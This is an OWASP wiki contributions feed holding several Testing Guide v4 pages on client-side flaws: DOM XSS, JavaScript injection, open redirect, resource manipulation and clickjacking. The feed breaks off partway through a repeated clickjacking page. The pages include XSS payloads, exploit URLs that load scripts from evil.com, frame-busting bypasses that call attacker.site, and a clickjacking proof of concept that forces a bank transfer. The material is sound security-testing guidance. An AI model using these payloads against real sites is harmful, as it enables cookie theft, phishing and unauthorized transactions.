OWASP - User contributions [en]

User:Nvhaver

2014-12-01T20:00:29Z

Nvhaver: /* About Nvhaver */

OWASP thaugth me almost everything about the security industry. I thought I'd return the favor by contibuting to this wonderful knowledge base.

My interests in the field of technology are programming languages, security, gaming and tinkering with old hardware. In the university I have learned many programming languages, some of which are quite esoteric (Oz, ACL2, Oz). This sparked my interest in them, as they proved that the language itself determines the programmer's power (and comfort).

In the security industry I'm a complete novice as security still isn't a priority at the university... However I will do my best to get up to speed.

My love for gaming originates to my childhood, playing games on the Win95. But time waits for no man, or game, and so my favourite games soon did no longer run on the newer devices. In comes my love for tinkering.

Currently I'm finishing up my education over at the University of Ghent in Belgium (Civil Engineer Computer Sciences Software Engineering). For my master thesis I am researching web application security on the client side (mostly on DOM-based XSS).

Testing for DOM-based Cross site scripting (OTG-CLIENT-001)

2014-12-01T19:42:50Z

Nvhaver: /* Gray Box testing */

{{Template:OWASP Testing Guide v4}}

== Summary ==
[[DOM Based XSS |DOM-based Cross-Site Scripting]] is the de-facto name for [[XSS]] bugs which are the result of active browser-side content on a page, typically JavaScript, obtaining user input and then doing something unsafe with it which leads to execution of injected code. This document only discusses JavaScript bugs which lead to XSS.

The DOM, or Document Object Model, is the structural format used to represent documents in a browser. The DOM enables dynamic scripts such as JavaScript to reference components of the document such as a form field or a session cookie. The DOM is also used by the browser for security - for example to limit scripts on different domains from obtaining session cookies for other domains. A DOM-based XSS vulnerability may occur when active content, such as a JavaScript function, is modified by a specially crafted request such that a DOM element that can be controlled by an attacker.

There have been very few papers published on this topic and, as such, very little standardization of its meaning and formalized testing exists.

==How to Test==
Not all XSS bugs require the attacker to control the content returned from the server, but can instead abuse poor JavaScript coding practices to achieve the same results. The consequences are the same as a typical XSS flaw, only the means of delivery is different.

In comparison to other cross site scripting vulnerabilities ([[XSS#Stored_and_Reflected_XSS_Attacks |reflected and stored XSS]]), where an unsanitized parameter is passed by the server, returned to the user and executed in the context of the user's browser, a DOM-based XSS vulnerability controls the flow of the code by using elements of the Document Object Model (DOM) along with code crafted by the attacker to change the flow.

Due to their nature, DOM-based XSS vulnerabilities can be executed in many instances without the server being able to determine what is actually being executed. This may make many of the general XSS filtering and detection techniques impotent to such attacks.

The first hypothetical example uses the following client side code:

<script>
document.write("Site is at: " + document.location.href + ".");
</script>

An attacker may append #<script>alert('xss')</script> to the affected page URL which would, when executed, display the alert box. In this instance, the appended code would not be sent to the server as everything after the # character is not treated as part of the query by the browser but as a fragment. In this example, the code is immediately executed and an alert of "xss" is displayed by the page. Unlike the more common types of cross site scripting (Stored and Reflected) in which the code is sent to the server and then back to the browser, this is executed directly in the user's browser without server contact.

The [[XSS#XSS_Attack_Consequences |consequences]] of DOM-based XSS flaws are as wide ranging as those seen in more well known forms of XSS, including cookie retrieval, further malicious script injection, etc. and should therefore be treated with the same severity.

=== Black Box testing ===
Blackbox testing for DOM-Based XSS is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.<br>

=== Gray Box testing ===
'''Testing for DOM-Based XSS vulnerabilities:'''<br>
JavaScript applications differ significantly from other types of applications because they are often dynamically generated by the server, and to understand what code is being executed, the website being tested needs to be crawled to determine all the instances of JavaScript being executed and where user input is accepted. Many websites rely on large libraries of functions, which often stretch into the hundreds of thousands of lines of code and have not been developed in-house. In these cases, top-down testing often becomes the only really viable option, since many bottom level functions are never used, and analyzing them to determine which are sinks will use up more time than is often available. The same can also be said for top-down testing if the inputs or lack thereof is not identified to begin with.

User input comes in two main forms:

* Input written to the page by the server in a way that does not allow direct XSS
* Input obtained from client-side JavaScript objects

Here are two examples of how the server may insert data into JavaScript:

var data = "<escaped data from the server>";
var result = someFunction("<escaped data from the server>");

And here are two examples of input from client-side JavaScript objects:

var data = window.location;
var result = someFunction(window.referer);

While there is little difference to the JavaScript code in how they are retrieved, it is important to note that when input is received via the server, the server can apply any permutations to the data that it desires, whereas the permutations performed by JavaScript objects are fairly well understood and documented, and so if someFunction in the above example were a sink, then the exploitability of the former would depend on the filtering done by the server, whereas the latter would depend on the encoding done by the browser on the window.referer object. Stefano Di Paulo has written an excellent article on what browsers return when asked for the various elements of a [https://code.google.com/p/domxsswiki/wiki/LocationSources URL using the document. and location. attributes].

Additionally, JavaScript is often executed outside of <script> blocks, as evidenced by the many vectors which have led to XSS filter bypasses in the past, and so, when crawling the application, it is important to note the use of scripts in places such as event handlers and CSS blocks with expression attributes. Also, note that any off-site CSS or script objects will need to be assessed to determine what code is being executed.

Automated testing has only very limited success at identifying and validating DOM-based XSS as it usually identifies XSS by sending a specific payload and attempts to observe it in the server response. This may work fine for the simple example provided below, where the message parameter is reflected back to the user:

<pre>
<script>
var pos=document.URL.indexOf("message=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</script>
</pre>

but may not be detected in the following contrived case:

<pre>
<script>
var navAgt = navigator.userAgent;

if (navAgt.indexOf("MSIE")!=-1) {
document.write("You are using IE as a browser and visiting site: " + document.location.href + ".");
}
else
{
document.write("You are using an unknown browser.");
}
</script>
</pre>

For this reason, automated testing will not detect areas that may be susceptible to DOM-based XSS unless the testing tool can perform additional analysis of the client side code.

Manual testing should therefore be undertaken and can be done by examining areas in the code where parameters are referred to that may be useful to an attacker. Examples of such areas include places where code is dynamically written to the page and elsewhere where the DOM is modified or even where scripts are directly executed. Further examples are described in the excellent DOM XSS article by Amit Klein, referenced at the end of this section.

== References ==
'''OWASP Resources'''
* [[DOM based XSS Prevention Cheat Sheet]]
'''Whitepapers'''<br>
* Document Object Model (DOM) - http://en.wikipedia.org/wiki/Document_Object_Model
* DOM Based Cross Site Scripting or XSS of the Third Kind - Amit Klein http://www.webappsec.org/projects/articles/071105.shtml
* Browser location/document URI/URL Sources - https://code.google.com/p/domxsswiki/wiki/LocationSources
** i.e., what is returned when the user asks the browser for things like document.URL, document.baseURI, location, location.href, etc.

Testing for JavaScript Execution (OTG-CLIENT-002)

2014-12-01T19:39:41Z

Nvhaver: /* How to Test */

{{Template:OWASP Testing Guide v4}}

== Summary ==
A JavaScript Injection vulnerability is a subtype of Cross Site Scripting (XSS) that involves the ability to inject arbitrary JavaScript code that is executed by the application inside the victim's browser. This vulnerability can have many consequences, like disclosure of a user's session cookies that could be used to impersonate the victim, or, more generally, it can allow the attacker to modify the page content seen by the victims or the application behavior.

== How to Test ==
Such a vulnerability occurs when the application lacks proper user supplied input and output validation. JavaScript is used to dynamically populate web pages, this injection occurs during this content processing phase and consequently affects the victim.

When trying to exploit this kind of issues, consider that some characters are treated differently by different browsers. For reference see the DOM XSS Wiki.

The following script does not perform any validation of the variable rr that contains the user supplied input via the query string and additionally does not apply any form of encoding:

<pre>
var rr = location.search.substring(1);
if(rr)
window.location=decodeURIComponent(rr);
</pre>

This implies that an attacker could inject JavaScript code simply by submitting the following query string: <nowiki>''www.victim.com/?javascript:alert(1)''</nowiki>.

=== Black Box testing ===
Black box testing for JavaScript Execution is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.<br>

=== Gray Box testing ===
'''Testing for JavaScript Execution vulnerabilities:'''

For example, looking at the following URL:
http://www.domxss.com/domxss/01_Basics/04_eval.html

The page contains the following scripts:

<pre>
<script>
function loadObj(){
var cc=eval('('+aMess+')');
document.getElementById('mess').textContent=cc.message;
}

if(window.location.hash.indexOf('message')==-1)
var aMess="({\"message\":\"Hello User!\"})";
else
var aMess=location.hash.substr(window.location.hash.indexOf('message=')+8);
</script>
</pre>

The above code contains a source 'location.hash' that is controlled by the attacker that can inject directly in the 'message' value a JavaScript Code to take the control of the user browser.

== References ==
'''OWASP Resources'''
* [[DOM based XSS Prevention Cheat Sheet]]
* DOMXSS.com - http://www.domxss.com
'''Whitepapers'''<br>
* Browser location/document URI/URL Sources - https://code.google.com/p/domxsswiki/wiki/LocationSources
** i.e., what is returned when the user asks the browser for things like document.URL, document.baseURI, location, location.href, etc.

Testing for Client Side URL Redirect (OTG-CLIENT-004)

2014-12-01T19:33:30Z

Nvhaver: /* References */

{{Template:OWASP Testing Guide v4}}

== Summary ==
This section describes how to check for Client Side URL Redirection, also known as Open Redirection. It is an input validation flaw that exists when an application accepts an user controlled input which specifies a link that leads to an external URL that could be malicious. This kind of vulnerability could be used to accomplish a phishing attack or redirect a victim to an infection page.

== How to Test ==
This vulnerability occurs when an application accepts untrusted input that contains an URL value without sanitizing it. This URL value could cause the web application to redirect the user to another page as, for example, a malicious page controlled by the attacker.

By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Since the redirection is originated by the real application, the phishing attempts may have a more trustworthy appearance.

A phishing attack example could be the following:
<br>
<pre>
http://www.target.site?#redirect=www.fake-target.site
</pre>

The victim that visits target.site will be automatically redirected to fake-target.site where an attacker could place a fake page to steal victim's credentials.

Moreover open redirections could also be used to maliciously craft an URL that would bypass the application’s access control checks and then forward the attacker to privileged functions that they would normally not be able to access.

=== Black Box testing ===
Black box testing for Client Side URL Redirect is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.
<br>

=== Gray Box testing ===
'''Testing for Client Side URL Redirect vulnerabilities:'''<br>
When testers have to manually check for this type of vulnerability they have to identify if there are client side redirections implemented in the client side code (for example in the JavaScript code).
<br>

These redirections could be implemented, for example in JavaScript, using the “window.location” object that can be used to take the browser to another page by simply assigning a string to it. (as you can see in the following snippet of code).
<pre>
var redir = location.hash.substring(1);
if (redir)
window.location='http://'+decodeURIComponent(redir);
</pre>

In the previous example the script does not perform any validation of the variable “redir”, that contains the user supplied input via the query string, and in the same time does not apply any form of encoding, then this unvalidated input is passed to the windows.location object originating a URL redirection vulnerability.

This implies that an attacker could redirect the victim to a malicious site simply by submitting the following query string:
<pre>http://www.victim.site/?#www.malicious.site</pre>

Note how, if the vulnerable code is the following:
<pre>
var redir = location.hash.substring(1);
if (redir)
window.location=decodeURIComponent(redir);
</pre>

It also could be possible to inject JavaScript code, for example by submitting the following query string:
<pre>http://www.victim.site/?#javascript:alert(document.cookie)</pre>
When trying to check for this kind of issues, consider that some characters are treated differently by different browsers.
<br>

Moreover always consider the possibility to try absolute URLs variants as described here: http://kotowicz.net/absolute/
<br>

==Tools==
* DOMinator - https://dominator.mindedsecurity.com/

== References ==
'''OWASP Resources'''
* [[DOM based XSS Prevention Cheat Sheet]]
* DOMXSS.com - http://www.domxss.com

'''Whitepapers'''<br>
* Browser location/document URI/URL Sources - https://code.google.com/p/domxsswiki/wiki/LocationSources
** i.e., what is returned when you ask the browser for things like document.URL, document.baseURI, location, location.href, etc.
* Krzysztof Kotowicz: "Local or External? Weird URL formats on the loose" - http://kotowicz.net/absolute/

Testing for Client Side Resource Manipulation (OTG-CLIENT-006)

2014-12-01T19:32:48Z

Nvhaver: /* Summary */

{{Template:OWASP Testing Guide v4}}

== Summary ==
A Client Side Resource Manipulation vulnerability is an input validation flaw that occurs when an application accepts an user controlled input which specifies the path of a resource (for example the source of an iframe, js, applet or the handler of an XMLHttpRequest). Specifically, such a vulnerability consists in the ability to control the URLs which link to some resources present in a web page. The impact may vary on the basis of the type of the element whose URL is controlled by the attacker, and it is usually adopted to conduct Cross-Site Scripting attacks.

== How to Test ==
Such a vulnerability occurs when the application employs user controlled URLs for referencing external/internal resources. In these circumstances it is possible to interfere with the expected application's behavior in the sense of making it load and render malicious objects.

The following JavaScript code shows a possible vulnerable script in which the attacker is able to control the "location.hash" (source) which reaches the attribute "src" of a script element. This particular obviously leads XSS since an external JavaScript could be easily injected in the trusted web site.

<pre>
<script>
var d=document.createElement("script");
if(location.hash.slice(1))
d.src = location.hash.slice(1);
document.body.appendChild(d);
</script>
</pre>

Specifically the attacker could target the victim by asking her to visit the following URL:
www.victim.com/#http://evil.com/js.js

Where js.js contains:

<pre>
alert(document.cookie)
</pre>

Controlling scripts' sources is a basic example, since some other interesting and more subtle cases can take place. A widespread scenario involves the possibility to control the URL called in a CORS request; since CORS allows the target resource to be accessible by the requesting domain through a header based approach, then the attacker may ask the target page to load malicious content loaded on its own web site.

Refer to the following vulnerable code:

<pre>
<b id="p"></b>
<script>
function createCORSRequest(method, url) {
var xhr = new XMLHttpRequest();
xhr.open(method, url, true);
xhr.onreadystatechange = function () {
if (this.status == 200 && this.readyState == 4) {
document.getElementById('p').innerHTML = this.responseText;
}
};
return xhr;
}

var xhr = createCORSRequest('GET', location.hash.slice(1));
xhr.send(null);
</script>
</pre>

The “location.hash” is controlled by the attacker and it is used for requesting an external resource, which will be reflected through the construct “innerHTML”. Basically the attacker could ask the victim to visit the following URL and at the same time he could craft the payload handler.

Exploit URL: www.victim.com/#http://evil.com/html.html

<pre>
http://evil.com/html.html
----
<?php
header('Access-Control-Allow-Origin: http://www.victim.com');
?>
<script>alert(document.cookie);</script>
</pre>

=== Black Box testing ===
Black box testing for Client Side Resource Manipulation is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.

=== Gray Box testing ===
'''Testing for Client Side Resource Manipulation vulnerabilities:'''<br>
To manually check for this type of vulnerability we have to identify whether the application employs inputs without correctly validating them; these are under the control of the user which could be able to specify the url of some resources. Since there are many resources that could be included into the application (for example images, video, object, css, frames etc.), client side scripts which handle the associated URLs should be investigated for potential issues.

The following table shows the possible injection points (sink) that should be checked:

{| class="wikitable"
|-
! scope="col"| Resource Type
! scope="col"| Tag/Method
! scope="col"| Sink
|-
| Frame
| iframe
| src
|-
| Link
| a
| href
|-
| AJAX Request
| xhr.open(method, <i>[url]</i>, true);
| URL
|-
| CSS
| link
| href
|-
| Image
| img
| src
|-
| Object
| object
| data
|-
| Script
| script
| src
|}

The most interesting ones are those that allow to an attacker to include client side code (for example JavaScript) since it could lead to an XSS vulnerabilities. <br />

When trying to check for this kind of issues, consider that some characters are treated differently by different browsers.
Moreover always consider the possibility to try absolute URLs variants as described here: http://kotowicz.net/absolute/

==Tools==

* DOMinator - https://dominator.mindedsecurity.com/

== References ==
'''OWASP Resources'''
* [[DOM based XSS Prevention Cheat Sheet]]
* DOMXSS.com - http://www.domxss.com
* DOMXSS TestCase - http://www.domxss.com/domxss/01_Basics/04_script_src.html

'''Whitepapers'''

* DOM XSS Wiki - https://code.google.com/p/domxsswiki/wiki/LocationSources
* Krzysztof Kotowicz: "Local or External? Weird URL formats on the loose" - http://kotowicz.net/absolute/

Testing for Clickjacking (OTG-CLIENT-009)

2014-12-01T19:28:43Z

Nvhaver: /* Client side protection: Frame Busting */

{{Template:OWASP Testing Guide v4}}

== Summary ==
"Clickjacking" (which is a subset of the "UI redressing") is a malicious technique that consists of deceiving a web user into interacting (in most cases by clicking) with something different to what the user believes they are interacting with. This type of attack, that can be used alone or in combination with other attacks, could potentially send unauthorized commands or reveal confidential information while the victim is interacting on seemingly harmless web pages. The term "Clickjacking" was coined by Jeremiah Grossman and Robert Hansen in 2008.

A Clickjacking attack uses seemingly innocuous features of HTML and Javascript to force the victim to perform undesired actions, such as clicking on a button that appears to perform another operation. This is a "client side" security issue that affects a variety of browsers and platforms.

To carry out this type of technique the attacker has to create a seemingly harmless web page that loads the target application through the use of an iframe (suitably concealed through the use of CSS code). Once this is done, the attacker could induce the victim to interact with his fictitious web page by other means (like for example social engineering). Like others attacks, an usual prerequisite is that the victim is authenticated against the attacker's target website.

[[Image:clickjacking_description.png|400px|thumb|center]]

Once the victim is surfing on the fictitious web page, he thinks that he is interacting with the visible user interface, but effectively he is performing actions on the hidden page. Since the hidden page is an authentic page, the attacker can deceive users into performing actions which they never intended to perform through an "ad hoc" positioning of the elements in the web page.

[[Image:Masked_iframe.png|400px|thumb|center]]

The power of this method is due to the fact that the actions performed by the victim are originated from the authentic target web page (hidden but authentic). Consequently some of the anti-CSRF protections, that are deployed by the developers to protect the web page from CSRF attacks, could be bypassed.

===How to Test===
As mentioned above, this type of attack is often designed to allow an attacker site to induce user's actions on the target site even if anti-CSRF tokens are being used. So it's important, like for the CSRF attack, to individuate web pages of the target site that it take input from the user.

We have to discover if the website that we are testing has no protections against clickjacking attacks or, if the developers have implemented some forms of protection, if these techniques are liable to bypass. Once we know that the website is vulnerable, we can create a "proof of concept" to exploit the vulnerability.

The first step to discover if a website is vulnerable, is to check if the target web page could be loaded into an iframe.
To do this you need to create a simple web page that includes a frame containing the target web page. The HTML code to create this testing web page is displayed in the following snippet:

<pre>
<html>
<head>
<title>Clickjack test page</title>
</head>
<body>
<p>Website is vulnerable to clickjacking!</p>
<iframe src="http://www.target.site" width="500" height="500"></iframe>
</body>
</html>
</pre>

'''Result Expected:'''
If you can see both the text "Website is vulnerable to clickjacking!" at the top of the page and your target web page successfully loaded into the frame, then your site is vulnerable and has no type of protection against Clickjacking attacks. Now you can directly create a "proof of concept" to demonstrate that an attacker could exploit this vulnerability.

===Bypass Clickjacking protection:===
In case in which you only see the target site or the text "Website is vulnerable to clickjacking!" but nothing in the iframe this mean that the target probably has some form of protection against clickjacking. It’s important to note that this isn’t a guarantee that the page is totally immune to clickjacking.

Methods to protect a web page from clickjacking can be divided in two macro-categories:
* Client side protection: Frame Busting
* Server side protection: X-Frame-Options

In some circumstances, every single type of defense could be bypassed. Following are presented the main methods of protection from these attacks and techniques to bypass them.

====Client side protection: Frame Busting====
The most common client side method, that has been developed to protect a web page from clickjacking, is called Frame Busting and it consists of a script in each page that should not be framed. The aim of this technique is to prevent a site from functioning when it is loaded inside a frame.

The structure of frame busting code typically consists of a "conditional statement" and a "counter-action" statement.
For this type of protection, there are some work arounds that fall under the name of "Bust frame busting". Some of this techniques are browser-specific while others work across browsers.

'''Mobile website version'''
<br>
Mobile versions of the website are usually smaller and faster than the desktop ones, and they have to be less complex than the main application. Mobile variants have often less protection since there is the wrong assumption that an attacker could not attack an application by the smart phone. This is fundamentally wrong, because an attacker can fake the real origin given by a web browser, such that a non-mobile victim may be able to visit an application made for mobile users.
From this assumption follows that in some cases it is not necessary to use techniques to evade frame busting when there are unprotected alternatives, which allow the use of same attack vectors.

'''Double Framing'''
<br>
Some frame busting techniques try to break frame by assigning a value to the "parent.location" attribute in the "counter-action" statement.

Such actions are, for example:
* self.parent.location = document.location
* parent.location.href = self.location
* parent.location = self.location

This method works well until the target page is framed by a single page. However, if the attacker encloses the target web page in one frame which is nested in another one (a double frame), then trying to access to "parent.location" becomes a security violation in all popular browsers, due to the descendant frame navigation policy. This security violation disables the counter-action navigation.

Target site frame busting code (target site):

<pre>
if(top.location!=self.locaton) {
parent.location = self.location;
}
</pre>

Attacker’s top frame (fictitious2.html):
<pre>
<iframe src="fictitious.html">
</pre>

Attacker’s fictitious sub-frame (fictitious.html):
<pre>
<iframe src="http://target site">
</pre>

'''Disabling javascript'''
<br>
Since these type of client side protections relies on JavaScript frame busting code, if the victim has JavaScript disabled or it is possible for an attacker to disable JavaScript code, the web page will not have any protection mechanism against clickjacking.

There are three deactivation techniques that can be used with frames:
* Restricted frames with Internet Explorer: Starting from Internet Explorer 6, a frame can have the "security" attribute that, if it is set to the value "restricted", ensures that JavaScript code, ActiveX controls, and re-directs to other sites do not work in the frame.

Example:
<pre>
<iframe src="http://target site" security="restricted"></iframe>
</pre>

* Sandbox attribute: with HTML5 there is a new attribute called "sandbox". It enables a set of restrictions on content loaded into the iframe. At this moment this attribute is only compatible with Chrome and Safari.

Example:
<pre>
<iframe src="http://target site" sandbox></iframe>
</pre>

* Design mode: Paul Stone showed a security issue concerning the "designMode" that can be turned on in the framing page (via document.designMode), disabling JavaScript in top and sub-frame. The design mode is currently implemented in Firefox and IE8.

'''onBeforeUnload event'''
<br>
The onBeforeUnload event could be used to evade frame busting code. This event is called when the frame busting code wants to destroy the iframe by loading the URL in the whole web page and not only in the iframe. The handler function returns a string that is prompted to the user asking confirm if he wants to leave the page. When this string is displayed to the user is likely to cancel the navigation, defeating traget's frame busting attempt.

The attacker can use this attack by registering an unload event on the top page using the following example code:

<pre>
<h1>www.fictitious.site</h1>
<script>
window.onbeforeunload = function()
{
return " Do you want to leave fictitious.site?";
}
</script>
<iframe src="http://target site">
</pre>

The previous technique requires the user interaction but, the same result, can be achieved without prompting the user. To do this the attacker have to automatically cancel the incoming navigation request in an onBeforeUnload event handler by repeatedly submitting (for example every millisecond) a navigation request to a web page that responds with a "HTTP/1.1 204 No Content" header.

Since with this response the browser will do nothing, the resulting of this operation is the flushing of the request pipeline, rendering the original frame busting attempt futile.

Following an example code:

204 page:
<pre>
<?php
header("HTTP/1.1 204 No Content");
?>
</pre>

Attacker's page:
<pre>
<script>
var prevent_bust = 0;
window.onbeforeunload = function() {
prevent_bust++;
};
setInterval(
function() {
if (prevent_bust > 0) {
prevent_bust -= 2;
window.top.location = "http://attacker.site/204.php";
}
}, 1);
</script>
<iframe src="http://target site">
</pre>

'''XSS Filter'''
<br>
Starting from Google Chrome 4.0 and from IE8 there were introduced XSS filters to protect users from reflected XSS attacks. Nava and Lindsay have observed that these kind of filters can be used to deactivate frame busting code by faking it as malicious code.
* <b>IE8 XSS filter</b>: this filter has visibility into all parameters of each request and response flowing through the web browser and it compares them to a set of regular expressions in order to look for reflected XSS attempts. When the filter identifies a possible XSS attacks; it disables all inline scripts within the page, including frame busting scripts (the same thing could be done with external scripts). For this reason an attacker could induce a false positive by inserting the beginning of the frame busting script into a request's parameters.

Example:
Target web page frame busting code:
<pre>
<script>
if ( top != self )
{
top.location=self.location;
}
</script>
</pre>
Attacker code:
<pre>
<iframe src=”http://target site/?param=<script>if”>
</pre>

* <b>Chrome 4.0 XSSAuditor filter</b>: It has a little different behaviour compared to IE8 XSS filter, in fact with this filter an attacker could deactivate a "script" by passing its code in a request parameter. This enables the framing page to specifically target a single snippet containing the frame busting code, leaving all the other codes intact.

Example:
Target web page frame busting code:
<pre>
<script>
if ( top != self )
{
top.location=self.location;
}
</script>
</pre>

Attacker code:
<pre>
<iframe src=”http://target site/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D”>
</pre>

'''Redefining location'''
<br>
For several browser the "document.location" variable is an immutable attribute. However, for some version of Internet Explorer and Safari, it is possible to redefine this attribute. This fact can be exploited to evade frame busting code.
* <b>Redefining location in IE7 and IE8</b>: it is possible to redefine "location" as it is illustrated in the following example. By defining "location" as a variable, any code that tries to read or to navigate by assigning "top.location" will fail due to a security violation and so the frame busting code is suspended.

Example:
<pre>
<script>
var location = "xyz";
</script>
<iframe src="http://target site"></iframe>
</pre>

* <b>Redefining location in Safari 4.0.4</b>: To bust frame busting code with "top.location" it is possible to bind "location" to a function via defineSetter (through window), so that an attempt to read or navigate to the "top.location" will fail.

Example:
<pre>
<script>
window.defineSetter("location" , function(){});
</script>
<iframe src="http://target site"></iframe>
</pre>

====Server side protection: X-Frame-Options====
An alternative approach to client side frame busting code was implemented by Microsoft and it consists of an header based defense. This new "X-FRAME-OPTIONS" header is sent from the server on HTTP responses and is used to mark web pages that shouldn't be framed. This header can take the values DENY, SAMEORIGIN, ALLOW-FROM origin, or non-standard ALLOWALL. Recommended value is DENY.

The "X-FRAME-OPTIONS" is a very good solution, and was adopted by major browser, but also for this technique there are some limitations that could lead in any case to exploit the clickjacking vulnerability.

'''Browser compatibility'''
<br>
Since the "X-FRAME-OPTIONS" was introduced in 2009, this header is not compatible with old browser. So every user that doesn't have an updated browser could be victim of clickjacking attack.

{| class="wikitable"
|-
! Browser !! Lowest version
|-
| Internet Explorer || 8.0
|-
| Firefox (Gecko) || 3.6.9 (1.9.2.9)
|-
| Opera || 10.50
|-
| Safari || 4.0
|-
| Chrome || 4.1.249.1042
|}

'''Proxies'''
<br>
Web proxies are known for adding and stripping headers. In the case in which a web proxy strips the "X-FRAME-OPTIONS" header then the site loses its framing protection.

'''Mobile website version'''
<br>
Also in this case, since the "X-FRAME-OPTIONS" has to be implemented in every page of the website, the developers may have not protected the mobile version of the website.

===Create a "proof of concept" ===
Once we have discovered that the site we are testing is vulnerable to clickjacking attack, we can proceed with the development of a "proof of concept" to demonstrate the vulnerability. It is important to note that, as mentioned previously, these attacks can be used in conjunction with other forms of attacks (for example CSRF attacks) and could lead to overcome anti-CSRF tokens.
In this regard we can imagine that, for example, the target site allows to authenticated and authorized users to make a transfer of money to another account.

Suppose that to execute the transfer the developers have planned three steps. In the first step the user fill a form with the destination account and the amount. In the second step, whenever the user submits the form, is presented a summary page asking the user confirmation (like the one presented in the following picture).

[[Image:Clickjacking example step2.png|400px|thumb|center]]

Following a snippet of the code for the step 2:

<pre>
//generate random anti CSRF token
$csrfToken = md5(uniqid(rand(), TRUE));

//set the token as in the session data
$_SESSION['antiCsrf'] = $csrfToken;

//Transfer form with the hidden field
$form = '
<form name="transferForm" action="confirm.php" method="POST">
<div class="box">
<h1>BANK XYZ - Confirm Transfer</h1>
<p>
Do You want to confirm a transfer of <b>'. $_REQUEST['amount'] .' €</b> to account: <b>'. $_REQUEST['account'] .'</b> ?
</p>
<label>
<input type="hidden" name="amount" value="' . $_REQUEST['amount'] . '" />
<input type="hidden" name="account" value="' . $_REQUEST['account'] . '" />
<input type="hidden" name="antiCsrf" value="' . $csrfToken . '" />
<input type="submit" class="button" value="Transfer Money" />
</label>

</div>
</form>';
</pre>

In the last step are planned security controls and then, if all is ok, the transfer is done. In the following listing a snippet of code of the last step is presented (<b>Note</b>: in this example, for simplicity, there is no input sanitization, but it has no relevance to block this type of attack):

<pre>
if( (!empty($_SESSION['antiCsrf'])) && (!empty($_POST['antiCsrf'])) )
{

//here we can suppose input sanitization code…

//check the anti-CSRF token
if( ($_SESSION['antiCsrf'] == $_POST['antiCsrf']) )
{
echo '<p> '. $_POST['amount'] .' € successfully transfered to account: '. $_POST['account'] .' </p>';
}

}
else
{
echo '<p>Transfer KO</p>';
}
</pre>

As you can see the code is protected from CSRF attack both with a random token generated in the second step and accepting only variable passed via POST method. In this situation an attacker could forge a CSRF + Clickjacking attack to evade anti-CSRF protection and force a victim to do a money transfer without her consent.

The target page for the attack is the second step of the money transfer procedure. Since the developers put the security controls only in the last step, thinking that this is secure enough, the attacker could pass the account and amount parameters via GET method. (<b>Note</b>: there is an advanced clickjacking attack that permits to force users to fill a form, so also in the case in which is required to fill a form, the attack is feasible).

The attacker's page may look like a simple and harmless web page like the one presented below:

[[Image:clickjacking_example_malicious_page_1.png|400px|thumb|center]]

But playing with the CSS opacity value we can see what is hidden under the seemingly innocuous web page.

[[Image:clickjacking_example_malicious_page_2.png|400px|thumb|center]]

The clickjacking code to create this page is presented below:

<pre>
<html>
<head>
<title>Trusted web page</title>

<style type="text/css"></style>

</head>
<body>
<div id="content">
<h1>www.owasp.com</h1>
<form action="http://www.owasp.com">
<input type="submit" class="button" value="Click and go!">
</form>
</div>

<iframe id="clickjacking" src="http://localhost/csrf/transfer.php?account=ATTACKER&amount=10000" width="500" height="500" scrolling="no" frameborder="none">
</iframe>
</body>
</html>

</pre>

With the help of CSS (note the #clickjacking block) we can mask and suitably position the iframe in such a way as to match the buttons. If the victim click on the button "Click and go!" the form is submitted and the transfer is completed.

[[Image:clickjacking_example_malicious_page_3.png|400px|thumb|center]]

The example presented uses only basic clickjacking technique, but with advanced technique is possible to force user filling form with values defined by the attacker.

==Tools==
* Context Information Security: "Clickjacking Tool" - http://www.contextis.com/research/tools/clickjacking-tool/

== References ==
'''OWASP Resources'''
* [[Clickjacking]]

'''Whitepapers'''
* Marcus Niemietz: "UI Redressing: Attacks and Countermeasures Revisited" - http://ui-redressing.mniemietz.de/uiRedressing.pdf
* "Clickjacking" - https://en.wikipedia.org/wiki/Clickjacking
* Gustav Rydstedt, Elie Bursztein, Dan Boneh, and Collin Jackson: "Busting Frame Busting: a Study of Clickjacking Vulnerabilities on Popular Sites" - http://seclab.stanford.edu/websec/framebusting/framebust.pdf
* Paul Stone: "Next generation clickjacking" - https://media.blackhat.com/bh-eu-10/presentations/Stone/BlackHat-EU-2010-Stone-Next-Generation-Clickjacking-slides.pdf

Testing for Clickjacking (OTG-CLIENT-009)

2014-12-01T19:25:17Z

Nvhaver: /* Create a "proof of concept" */

{{Template:OWASP Testing Guide v4}}

== Summary ==
"Clickjacking" (which is a subset of the "UI redressing") is a malicious technique that consists of deceiving a web user into interacting (in most cases by clicking) with something different to what the user believes they are interacting with. This type of attack, that can be used alone or in combination with other attacks, could potentially send unauthorized commands or reveal confidential information while the victim is interacting on seemingly harmless web pages. The term "Clickjacking" was coined by Jeremiah Grossman and Robert Hansen in 2008.

A Clickjacking attack uses seemingly innocuous features of HTML and Javascript to force the victim to perform undesired actions, such as clicking on a button that appears to perform another operation. This is a "client side" security issue that affects a variety of browsers and platforms.

To carry out this type of technique the attacker has to create a seemingly harmless web page that loads the target application through the use of an iframe (suitably concealed through the use of CSS code). Once this is done, the attacker could induce the victim to interact with his fictitious web page by other means (like for example social engineering). Like others attacks, an usual prerequisite is that the victim is authenticated against the attacker's target website.

[[Image:clickjacking_description.png|400px|thumb|center]]

Once the victim is surfing on the fictitious web page, he thinks that he is interacting with the visible user interface, but effectively he is performing actions on the hidden page. Since the hidden page is an authentic page, the attacker can deceive users into performing actions which they never intended to perform through an "ad hoc" positioning of the elements in the web page.

[[Image:Masked_iframe.png|400px|thumb|center]]

The power of this method is due to the fact that the actions performed by the victim are originated from the authentic target web page (hidden but authentic). Consequently some of the anti-CSRF protections, that are deployed by the developers to protect the web page from CSRF attacks, could be bypassed.

===How to Test===
As mentioned above, this type of attack is often designed to allow an attacker site to induce user's actions on the target site even if anti-CSRF tokens are being used. So it's important, like for the CSRF attack, to individuate web pages of the target site that it take input from the user.

We have to discover if the website that we are testing has no protections against clickjacking attacks or, if the developers have implemented some forms of protection, if these techniques are liable to bypass. Once we know that the website is vulnerable, we can create a "proof of concept" to exploit the vulnerability.

The first step to discover if a website is vulnerable, is to check if the target web page could be loaded into an iframe.
To do this you need to create a simple web page that includes a frame containing the target web page. The HTML code to create this testing web page is displayed in the following snippet:

<pre>
<html>
<head>
<title>Clickjack test page</title>
